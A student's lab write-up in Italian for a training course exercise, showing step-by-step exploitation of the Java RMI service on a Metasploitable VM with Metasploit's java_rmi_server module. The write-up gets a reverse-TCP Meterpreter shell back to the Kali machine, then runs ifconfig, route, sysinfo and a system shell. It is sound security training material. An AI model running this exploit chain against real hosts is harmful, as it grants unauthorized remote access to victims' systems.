

## M4\_W16D4

### Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

### Svolgimento:

- Procedere assegnando l'indirizzo IP '192.168.11.111' alla macchina attaccante Kali.

- Analogamente assegnare l'indirizzo IP '192.168.11.112' alla macchina vittima Metasploitable.

```
kali@kali: ~  
File Actions Edit View Help  
kali@kali:~$ ifconfig eth0  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255  
    inet6 fe80::64c2:38ff:fe62:f234 prefixlen 64 scopeid 0x20<link>  
    ether 66:c2:38:62:f2:34 txqueuelen 1000 (Ethernet)  
    RX packets 2 bytes 684 (684.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 23 bytes 4073 (3.9 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
kali@kali:~$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=6.25 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=2.05 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.59 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=2.01 ms  
^C  
--- 192.168.11.112 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3010ms  
rtt min/avg/max/mdev = 1.587/2.973/6.249/1.899 ms  
  
kali@kali:~$
```

```
Metasploitable2  
nsfadmin@metasploitable:~$ ifconfig eth0  
eth0      Link encap:Ethernet  HWaddr 8e:a1:84:ef:e9:9e  
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0  
          inet6 addr: fe80::8ca1:84ff:feef:e99e/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:69 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:79 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:5536 (5.4 KB)  TX bytes:6074 (5.9 KB)  
          Base address:0xc000 Memory:febc0000-febe0000  
  
nsfadmin@metasploitable:~$ ping 192.168.11.111  
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data:  
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=1.11 ms  
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.930 ms  
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.75 ms  
--- 192.168.11.111 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 1998ms  
rtt min/avg/max/mdev = 0.930/1.266/1.757/0.357 ms  
nsfadmin@metasploitable:~$
```

**E' possibile notare grazie al comando PING eseguito su entrambe le macchine che i due host sono attivi sulla rete e comunicano correttamente tra di loro.**

### { Cenno sull'analisi della vulnerabilità:

**Sulla porta 1099 TCP della macchina Metasploitable è attivo il servizio Java-RMI che verrà sfruttato successivamente. Questa tecnologia consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target. }**

Avviato il framework Metasploit con il comando **msfconsole** da terminale Kali si andrà alla ricerca della vulnerabilità utilizzando la keyword “search” seguita dal nome del nostro exploit.

```
kali@kali: ~  
File Actions Edit View Help  
└─$ msfconsole  
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it  
with setg RHOSTS x.x.x.x  
  
(( _ _ , _ _ ))  
  ( _ ) 0 0 ( _ )  
    |   |  
    o_o \ M S F /  
         ||| ww|||  
         |||   |||  
          *  
  
      =[ metasploit v6.4.0-dev ]  
+ -- ==[ 2404 exploits - 1236 auxiliary - 422 post ]  
+ -- ==[ 1468 payloads - 47 encoders - 11 nops ]  
+ -- ==[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search java_rmi
```

**La ricerca come avviene solitamente ha prodotto diversi risultati. Si procederà con l'utilizzo dell'exploit in riga 1 che Metasploit valuta come eccellente.**

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Ch
0	auxiliary/gather/java_rmi_registry Java RMI Registry Interfaces Enumeration	.	normal	No
1	exploit/multi/misc/java_rmi_server Java RMI Server Insecure Default Configuration Java Code Execution	2011-10-15	excellent	Yes
2	\_ target: Generic (Java Payload)	.	.	.

Per lo sfruttamento della vulnerabilità si utilizzerà la keyword “use” seguita dal path dell’exploit.

```
File Actions Edit View Help
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

E' possibile notare che l’exploit utilizza un payload di default “java/meterpreter/reverse\_tcp” come mostrato nella figura.

Utilizzando la keyword “set” verranno configurati i parametri richiesti da Metasploit per poter eseguire l’exploit.

Si procederà con il seguente comando: set RHOSTS 192.168.11.112

```
Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
0	Generic (Java Payload)

```
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > 
```

Utilizzare la keyword “show options” (consigliato per ogni passaggio) per verificare che i parametri richiesti siano stati correttamente inseriti.

Il comando “exploit” lancerà l’attacco verso la macchina target e aprirà una sessione.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/IhKrIQiSgK
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:38193) at 2024-03-30
    16:35:19 +0000

meterpreter > 
```

**Il payload utilizzato ha restituito una shell di Meterpreter come previsto.  
La sessione sulla macchina target risulta adesso attiva.**

**Il primo comando “ifconfig” restituirà l’indirizzo IP di Metasploitable confermando che l’attacco è andato a buon fine.**

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::8ca1:84ff:feef:e99e
IPv6 Netmask : ::

meterpreter > 
```

**Il comando “route” restituirà informazioni sulla tabella di routing della macchina vittima.**

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

Il comando “sysinfo” darà all’attaccante significative informazioni riguardo la macchina target.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

Il comando “shell” darà accesso completo alla shell del sistema target. Questo consentirà all’attaccante di ottenere informazioni sensibili spostandosi e consultando le varie directory. L’utente malintenzionato potrà effettuare una privilege escalation o compromettere in maniera permanente il sistema.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
```